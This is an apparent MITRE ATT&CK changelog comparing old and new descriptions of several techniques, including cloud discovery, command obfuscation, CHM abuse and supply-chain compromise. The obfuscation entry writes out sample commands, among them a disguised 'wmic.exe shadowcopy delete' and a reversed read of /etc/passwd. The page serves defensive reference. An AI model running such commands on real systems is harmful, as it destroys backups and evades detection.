Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project,(Citation: Google Compute Instances) and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources.(Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may log into accessible cloud services within a | t | 1 | Adversaries may log into accessible cloud services within a |
| > | compromised environment using [Valid Accounts](https://attac | > | compromised environment using [Valid Accounts](https://attac | ||
| > | k.mitre.org/techniques/T1078) that are synchronized with or | > | k.mitre.org/techniques/T1078) that are synchronized with or | ||
| > | federated to on-premises user identities. The adversary may | > | federated to on-premises user identities. The adversary may | ||
| > | then perform management actions or access cloud-hosted resou | > | then perform management actions or access cloud-hosted resou | ||
| > | rces as the logged-on user. Many enterprises federate cent | > | rces as the logged-on user. Many enterprises federate cent | ||
| > | rally managed user identities to cloud services, allowing us | > | rally managed user identities to cloud services, allowing us | ||
| > | ers to login with their domain credentials in order to acces | > | ers to log in with their domain credentials in order to acce | ||
| > | s the cloud control plane. Similarly, adversaries may connec | > | ss the cloud control plane. Similarly, adversaries may conne | ||
| > | t to available cloud services through the web console or thr | > | ct to available cloud services through the web console or th | ||
| > | ough the cloud command line interface (CLI) (e.g., [Cloud AP | > | rough the cloud command line interface (CLI) (e.g., [Cloud A | ||
| > | I](https://attack.mitre.org/techniques/T1059/009)), using co | > | PI](https://attack.mitre.org/techniques/T1059/009)), using c | ||
| > | mmands such as <code>Connect-AZAccount</code> for Azure Powe | > | ommands such as <code>Connect-AZAccount</code> for Azure Pow | ||
| > | rShell, <code>Connect-MgGraph</code> for Microsoft Graph Pow | > | erShell, <code>Connect-MgGraph</code> for Microsoft Graph Po | ||
| > | erShell, and <code>gcloud auth login</code> for the Google C | > | werShell, and <code>gcloud auth login</code> for the Google | ||
| > | loud CLI. In some cases, adversaries may be able to authent | > | Cloud CLI. In some cases, adversaries may be able to authen | ||
| > | icate to these services via [Application Access Token](https | > | ticate to these services via [Application Access Token](http | ||
| > | ://attack.mitre.org/techniques/T1550/001) instead of a usern | > | s://attack.mitre.org/techniques/T1550/001) instead of a user | ||
| > | ame and password. | > | name and password. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:03:56.494000+00:00 | 2026-11-03 21:46:16.639000+00:00 |
| description | Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.
Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.
In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. | Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.
Many enterprises federate centrally managed user identities to cloud services, allowing users to log in with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.
In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may enumerate objects in cloud storage infrastru | t | 1 | Adversaries may enumerate objects in cloud storage infrastru |
| > | cture. Adversaries may use this information during automated | > | cture. Adversaries may use this information during automated | ||
| > | discovery to shape follow-on behaviors, including requestin | > | discovery to shape follow-on behaviors, including requestin | ||
| > | g all or specific objects from cloud storage. Similar to [F | > | g all or specific objects from cloud storage. Similar to [F | ||
| > | ile and Directory Discovery](https://attack.mitre.org/techni | > | ile and Directory Discovery](https://attack.mitre.org/techni | ||
| > | ques/T1083) on a local host, after identifying available sto | > | ques/T1083) on a local host, after identifying available sto | ||
| > | rage services (i.e. [Cloud Infrastructure Discovery](https:/ | > | rage services (i.e. [Cloud Infrastructure Discovery](https:/ | ||
| > | /attack.mitre.org/techniques/T1580)) adversaries may access | > | /attack.mitre.org/techniques/T1580)) adversaries may access | ||
| > | the contents/objects stored in cloud infrastructure. Cloud | > | the contents/objects stored in cloud infrastructure. Cloud | ||
| > | service providers offer APIs allowing users to enumerate obj | > | service providers offer APIs allowing users to enumerate obj | ||
| > | ects stored within cloud storage. Examples include ListObjec | > | ects stored within cloud storage. Examples include ListObjec | ||
| > | tsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azur | > | tsV2 in AWS(Citation: ListObjectsV2) and List Blobs in Azure | ||
| > | e(Citation: List Blobs) . | > | .(Citation: List Blobs) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.685000+00:00 | 2026-11-04 01:13:06.284000+00:00 |
| description | Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure. Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) . | Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure. Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS(Citation: ListObjectsV2) and List Blobs in Azure.(Citation: List Blobs) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create, acquire, or steal code signing mater | t | 1 | Adversaries may create, acquire, or steal code signing mater |
| > | ials to sign their malware or tools. Code signing provides a | > | ials to sign their malware or tools. Code signing provides a | ||
| > | level of authenticity on a binary from the developer and a | > | level of authenticity on a binary from the developer and a | ||
| > | guarantee that the binary has not been tampered with. (Citat | > | guarantee that the binary has not been tampered with.(Citati | ||
| > | ion: Wikipedia Code Signing) The certificates used during an | > | on: Wikipedia Code Signing) The certificates used during an | ||
| > | operation may be created, acquired, or stolen by the advers | > | operation may be created, acquired, or stolen by the adversa | ||
| > | ary. (Citation: Securelist Digital Certificates) (Citation: | > | ry.(Citation: Securelist Digital Certificates)(Citation: Sym | ||
| > | Symantec Digital Certificates) Unlike [Invalid Code Signatur | > | antec Digital Certificates) Unlike [Invalid Code Signature]( | ||
| > | e](https://attack.mitre.org/techniques/T1036/001), this acti | > | https://attack.mitre.org/techniques/T1036/001), this activit | ||
| > | vity will result in a valid signature. Code signing to veri | > | y will result in a valid signature. Code signing to verify | ||
| > | fy software on first run can be used on modern Windows and m | > | software on first run can be used on modern Windows and macO | ||
| > | acOS systems. It is not used on Linux due to the decentraliz | > | S systems. It is not used on Linux due to the decentralized | ||
| > | ed nature of the platform. (Citation: Wikipedia Code Signing | > | nature of the platform.(Citation: Wikipedia Code Signing)(Ci | ||
| > | )(Citation: EclecticLightChecksonEXECodeSigning) Code signi | > | tation: EclecticLightChecksonEXECodeSigning) Code signing c | ||
| > | ng certificates may be used to bypass security policies that | > | ertificates may be used to bypass security policies that req | ||
| > | require signed code to execute on a system. | > | uire signed code to execute on a system. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.624000+00:00 | 2026-11-04 00:55:44.584000+00:00 |
| description | Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature. Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning) Code signing certificates may be used to bypass security policies that require signed code to execute on a system. | Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.(Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature. Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform.(Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning) Code signing certificates may be used to bypass security policies that require signed code to execute on a system. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may obfuscate content during command execution t | t | 1 | Adversaries may obfuscate content during command execution t |
| > | o impede detection. Command-line obfuscation is a method of | > | o impede detection. Command-line obfuscation is a method of | ||
| > | making strings and patterns within commands and scripts more | > | making strings and patterns within commands and scripts more | ||
| > | difficult to signature and analyze. This type of obfuscatio | > | difficult to signature and analyze. This type of obfuscatio | ||
| > | n can be included within commands executed by delivered payl | > | n can be included within commands executed by delivered payl | ||
| > | oads (e.g., [Phishing](https://attack.mitre.org/techniques/T | > | oads (e.g., [Phishing](https://attack.mitre.org/techniques/T | ||
| > | 1566) and [Drive-by Compromise](https://attack.mitre.org/tec | > | 1566) and [Drive-by Compromise](https://attack.mitre.org/tec | ||
| > | hniques/T1189)) or interactively via [Command and Scripting | > | hniques/T1189)) or interactively via [Command and Scripting | ||
| > | Interpreter](https://attack.mitre.org/techniques/T1059).(Cit | > | Interpreter](https://attack.mitre.org/techniques/T1059).(Cit | ||
| > | ation: Akamai JS)(Citation: Malware Monday VBE) For example | > | ation: Akamai JS)(Citation: Malware Monday VBE) For example | ||
| > | , adversaries may abuse syntax that utilizes various symbols | > | , adversaries may abuse syntax that utilizes various symbols | ||
| > | and escape characters (such as spacing, `^`, `+`. `$`, and | > | and escape characters (such as spacing, `^`, `+`, `$`, and | ||
| > | `%`) to make commands difficult to analyze while maintainin | > | `%`) to make commands difficult to analyze while maintainin | ||
| > | g the same intended functionality.(Citation: RC PowerShell) | > | g the same intended functionality.(Citation: RC PowerShell) | ||
| > | Many languages support built-in obfuscation in the form of b | > | Many languages support built-in obfuscation in the form of b | ||
| > | ase64 or URL encoding.(Citation: Microsoft PowerShellB64) Ad | > | ase64 or URL encoding.(Citation: Microsoft PowerShellB64) Ad | ||
| > | versaries may also manually implement command obfuscation vi | > | versaries may also manually implement command obfuscation vi | ||
| > | a string splitting (`“Wor”+“d.Application”`), order and casi | > | a string splitting (`“Wor”+“d.Application”`), order and casi | ||
| > | ng of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkd | > | ng of characters (`rev <<<'dwssap/cte/ tac'`), globbing (`mk | ||
| > | ir -p '/tmp/:&$NiA'`), as well as various tricks involving p | > | dir -p '/tmp/:&$NiA'`), as well as various tricks involving | ||
| > | assing strings through tokens/environment variables/input st | > | passing strings through tokens/environment variables/input s | ||
| > | reams.(Citation: Bashfuscator Command Obfuscators)(Citation: | > | treams.(Citation: Bashfuscator Command Obfuscators)(Citation | ||
| > | FireEye Obfuscation June 2017) Adversaries may also use tr | > | : FireEye Obfuscation June 2017) Adversaries may also use t | ||
| > | icks such as directory traversals to obfuscate references to | > | ricks such as directory traversals to obfuscate references t | ||
| > | the binary being invoked by a command (`C:\voi\pcw\..\..\Wi | > | o the binary being invoked by a command (`C:\voi\pcw\..\..\W | ||
| > | ndows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\w | > | indows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\ | ||
| > | mic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC) | > | wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC | ||
| > | Tools such as <code>Invoke-Obfuscation</code> and <code>In | > | ) Tools such as <code>Invoke-Obfuscation</code> and <code>I | ||
| > | voke-DOSfucation</code> have also been used to obfuscate com | > | nvoke-DOSfucation</code> have also been used to obfuscate co | ||
| > | mands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfus | > | mmands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfu | ||
| > | cation) | > | scation) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.718000+00:00 | 2026-11-03 21:26:29.649000+00:00 |
| description | Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)
For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)
Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)
Tools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation) | Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)
For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`, `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globbing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)
Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)
Tools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation) |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Compiled HTML files (.chm) to conceal | t | 1 | Adversaries may abuse Compiled HTML files (.chm) to conceal |
| > | malicious code. CHM files are commonly distributed as part o | > | malicious code. CHM files are commonly distributed as part o | ||
| > | f the Microsoft HTML Help system. CHM files are compressed c | > | f the Microsoft HTML Help system. CHM files are compressed c | ||
| > | ompilations of various content such as HTML documents, image | > | ompilations of various content such as HTML documents, image | ||
| > | s, and scripting/web related programming languages such VBA, | > | s, and scripting/web related programming languages such as V | ||
| > | JScript, Java, and ActiveX. (Citation: Microsoft HTML Help | > | BA, JScript, Java, and ActiveX.(Citation: Microsoft HTML Hel | ||
| > | May 2018) CHM content is displayed using underlying componen | > | p May 2018) CHM content is displayed using underlying compon | ||
| > | ts of the Internet Explorer browser (Citation: Microsoft HTM | > | ents of the Internet Explorer browser(Citation: Microsoft HT | ||
| > | L Help ActiveX) loaded by the HTML Help executable program ( | > | ML Help ActiveX) loaded by the HTML Help executable program | ||
| > | hh.exe). (Citation: Microsoft HTML Help Executable Program) | > | (hh.exe).(Citation: Microsoft HTML Help Executable Program) | ||
| > | A custom CHM file containing embedded payloads could be del | > | A custom CHM file containing embedded payloads could be del | ||
| > | ivered to a victim then triggered by [User Execution](https: | > | ivered to a victim then triggered by [User Execution](https: | ||
| > | //attack.mitre.org/techniques/T1204). CHM execution may also | > | //attack.mitre.org/techniques/T1204). CHM execution may also | ||
| > | bypass application application control on older and/or unpa | > | bypass application control on older and/or unpatched system | ||
| > | tched systems that do not account for execution of binaries | > | s that do not account for execution of binaries through hh.e | ||
| > | through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: | > | xe.(Citation: MsitPros CHM Aug 2017)(Citation: Microsoft CVE | ||
| > | Microsoft CVE-2017-8625 Aug 2017) | > | -2017-8625 Aug 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.706000+00:00 | 2026-11-04 00:40:34.061000+00:00 |
| description | Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) | Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such as VBA, JScript, Java, and ActiveX.(Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser(Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe).(Citation: Microsoft HTML Help Executable Program) A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.(Citation: MsitPros CHM Aug 2017)(Citation: Microsoft CVE-2017-8625 Aug 2017) |
Current version: 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify host software binaries to establish p | t | 1 | Adversaries may modify host software binaries to establish p |
| > | ersistent access to systems. Software binaries/executables p | > | ersistent access to systems. Software binaries/executables p | ||
| > | rovide a wide range of system commands or services, programs | > | rovide a wide range of system commands or services, programs | ||
| > | , and libraries. Common software binaries are SSH clients, F | > | , and libraries. Common software binaries are SSH clients, F | ||
| > | TP clients, email clients, web browsers, and many other user | > | TP clients, email clients, web browsers, and many other user | ||
| > | or server applications. Adversaries may establish persiste | > | or server applications. Adversaries may establish persiste | ||
| > | nce though modifications to host software binaries. For exam | > | nce through modifications to host software binaries. For exa | ||
| > | ple, an adversary may replace or otherwise infect a legitima | > | mple, an adversary may replace or otherwise infect a legitim | ||
| > | te application binary (or support files) with a backdoor. Si | > | ate application binary (or support files) with a backdoor. S | ||
| > | nce these binaries may be routinely executed by applications | > | ince these binaries may be routinely executed by application | ||
| > | or the user, the adversary can leverage this for persistent | > | s or the user, the adversary can leverage this for persisten | ||
| > | access to the host. An adversary may also modify a software | > | t access to the host. An adversary may also modify a softwar | ||
| > | binary such as an SSH client in order to persistently colle | > | e binary such as an SSH client in order to persistently coll | ||
| > | ct credentials during logins (i.e., [Modify Authentication P | > | ect credentials during logins (i.e., [Modify Authentication | ||
| > | rocess](https://attack.mitre.org/techniques/T1556)).(Citatio | > | Process](https://attack.mitre.org/techniques/T1556)).(Citati | ||
| > | n: Google Cloud Mandiant UNC3886 2024) An adversary may als | > | on: Google Cloud Mandiant UNC3886 2024) An adversary may al | ||
| > | o modify an existing binary by patching in malicious functio | > | so modify an existing binary by patching in malicious functi | ||
| > | nality (e.g., IAT Hooking/Entry point patching)(Citation: Un | > | onality (e.g., IAT Hooking/Entry point patching)(Citation: U | ||
| > | it42 Banking Trojans Hooking 2022) prior to the binary’s leg | > | nit42 Banking Trojans Hooking 2022) prior to the binary’s le | ||
| > | itimate execution. For example, an adversary may modify the | > | gitimate execution. For example, an adversary may modify the | ||
| > | entry point of a binary to point to malicious code patched i | > | entry point of a binary to point to malicious code patched | ||
| > | n by the adversary before resuming normal execution flow.(Ci | > | in by the adversary before resuming normal execution flow.(C | ||
| > | tation: ESET FontOnLake Analysis 2021) After modifying a bi | > | itation: ESET FontOnLake Analysis 2021) After modifying a b | ||
| > | nary, an adversary may attempt to impair defenses by prevent | > | inary, an adversary may attempt to impair defenses by preven | ||
| > | ing it from updating (e.g., via the `yum-versionlock` comman | > | ting it from updating (e.g., via the `yum-versionlock` comma | ||
| > | d or `versionlock.list` file in Linux systems that use the y | > | nd or `versionlock.list` file in Linux systems that use the | ||
| > | um package manager).(Citation: Google Cloud Mandiant UNC3886 | > | yum package manager).(Citation: Google Cloud Mandiant UNC388 | ||
| > | 2024) | > | 6 2024) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.706000+00:00 | 2026-11-03 21:40:37.994000+00:00 |
| description | Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications. Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024) An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021) After modifying a binary, an adversary may attempt to impair defenses by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024) | Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications. Adversaries may establish persistence through modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024) An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021) After modifying a binary, an adversary may attempt to impair defenses by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate software dependencies and develop | t | 1 | Adversaries may manipulate software dependencies and develop |
| > | ment tools prior to receipt by a final consumer for the purp | > | ment tools prior to receipt by a final consumer for the purp | ||
| > | ose of data or system compromise. Applications often depend | > | ose of data or system compromise. Applications often depend | ||
| > | on external software to function properly. Popular open sour | > | on external software to function properly. Popular open sour | ||
| > | ce projects that are used as dependencies in many applicatio | > | ce projects that are used as dependencies in many applicatio | ||
| > | ns, such as pip and NPM packages, may be targeted as a means | > | ns, such as pip and NPM packages, may be targeted as a means | ||
| > | to add malicious code to users of the dependency.(Citation: | > | to add malicious code to users of the dependency.(Citation: | ||
| > | Trendmicro NPM Compromise)(Citation: Bitdefender NPM Reposi | > | Trendmicro NPM Compromise)(Citation: Bitdefender NPM Reposi | ||
| > | tories Compromised 2021)(Citation: MANDVI Malicious npm and | > | tories Compromised 2021)(Citation: MANDVI Malicious npm and | ||
| > | PyPI Packages Disguised) This may also include abandoned pac | > | PyPI Packages Disguised) This may also include abandoned pac | ||
| > | kages, which in some cases could be re-registered by threat | > | kages, which in some cases could be re-registered by threat | ||
| > | actors after being removed by adversaries.(Citation: The Hac | > | actors after being removed by the original owner.(Citation: | ||
| > | ker News PyPi Revival Hijack 2024) Adversaries may also empl | > | The Hacker News PyPi Revival Hijack 2024) Adversaries may al | ||
| > | oy "typosquatting" or name-confusion by choosing names simil | > | so employ "typosquatting" or name-confusion by choosing name | ||
| > | ar to existing popular libraries or packages in order to dec | > | s similar to existing popular libraries or packages in order | ||
| > | eive a user.(Citation: Ahmed Backdoors in Python and NPM Pac | > | to deceive a user.(Citation: Ahmed Backdoors in Python and | ||
| > | kages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(C | > | NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncov | ||
| > | itation: Checkmarx-oss-seo) Additionally, CI/CD pipeline co | > | ered)(Citation: Checkmarx-oss-seo) Additionally, CI/CD pipe | ||
| > | mponents, such as GitHub Actions, may be targeted in order t | > | line components, such as GitHub Actions, may be targeted in | ||
| > | o gain access to the building, testing, and deployment cycle | > | order to gain access to the building, testing, and deploymen | ||
| > | s of an application.(Citation: Unit 42 Palo Alto GitHub Acti | > | t cycles of an application.(Citation: Unit 42 Palo Alto GitH | ||
| > | ons Supply Chain Attack 2025) By adding malicious code into | > | ub Actions Supply Chain Attack 2025) By adding malicious cod | ||
| > | a GitHub action, a threat actor may be able to collect runti | > | e into a GitHub action, a threat actor may be able to collec | ||
| > | me credentials (e.g., via [Proc Filesystem](https://attack.m | > | t runtime credentials (e.g., via [Proc Filesystem](https://a | ||
| > | itre.org/techniques/T1003/007)) or insert further malicious | > | ttack.mitre.org/techniques/T1003/007)) or insert further mal | ||
| > | components into the build pipelines for a second-order suppl | > | icious components into the build pipelines for a second-orde | ||
| > | y chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Ac | > | r supply chain compromise.(Citation: OWASP CICD-SEC-4) As Gi | ||
| > | tions are often dependent on other GitHub Actions, threat ac | > | tHub Actions are often dependent on other GitHub Actions, th | ||
| > | tors may be able to infect a large number of repositories vi | > | reat actors may be able to infect a large number of reposito | ||
| > | a the compromise of a single Action.(Citation: Palo Alto Net | > | ries via the compromise of a single Action.(Citation: Palo A | ||
| > | works GitHub Actions Worm 2023) Adversaries may also target | > | lto Networks GitHub Actions Worm 2023) Adversaries may also | ||
| > | the configuration and instruction files consumed by integra | > | target the configuration and instruction files consumed by | ||
| > | ted development environments and AI coding agents. Project f | > | integrated development environments and AI coding agents. Pr | ||
